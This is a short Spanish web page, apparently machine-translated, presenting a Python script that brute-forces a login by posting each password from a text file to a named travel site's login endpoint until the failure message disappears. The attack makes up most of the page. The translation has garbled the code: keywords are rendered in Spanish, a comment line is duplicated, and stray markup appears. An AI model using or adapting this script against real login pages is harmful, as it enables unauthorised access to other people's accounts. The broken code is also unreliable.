Red de conocimiento informático - Material del sitio web - ¡Cómo escribir código fuente en Python y probar constantemente contraseñas para lograr un inicio de sesión exitoso en la URL!

¡Cómo escribir código fuente en Python y probar constantemente contraseñas para lograr un inicio de sesión exitoso en la URL!

'''

#Extraiga la interfaz de inicio de sesión, observe las características de falla de inicio de sesión y siga intentándolo de acuerdo con el txt de contraseña. Si el resultado devuelto no tiene las características de falla, es exitoso

<. p>#(Si no está seguro, puede registrar Todos los resultados de los intentos están sujetos al juicio humano)

# Tome la interfaz de inicio de sesión de elong como ejemplo: /passport/ajax/ elongLogin

# Características de falla: el contenido devuelto por la interfaz contiene "éxito": f elongLogin

# Características de falla: el contenido devuelto por la interfaz contiene "éxito": falso

' ''

solicitudes de importación

# Presione La columna lee la interfaz de inicio de sesión, la información del encabezado, los parámetros de solicitud y la contraseña, todos los cuales están definidos

loginUrl = ' /passport/ajax/elongLogin'

header = {"Content-Type ":"application/x-www-form-urlencoded"}

postData = {"userName": " name", "passwd": ""}

con open(' contraseña.txt', 'r') como archivo:

pwdList = file.readlines()

# Bucle para actualizar la contraseña y enviar una solicitud para determinar si la devolución contiene una función de falla

para pwd en pwdList:

postData["passwd"]=pwd

respuesta=solicitudes.request(método='POST', url=loginUrl, datos=postData , encabezados=encabezado)

resData = respuesta.text

print resData

# find() devuelve -1 indicando que no se encontraron características de falla

if resData.find('"success": false') == -1:

print 'La contraseña correcta es: {}'.format(pwd)

break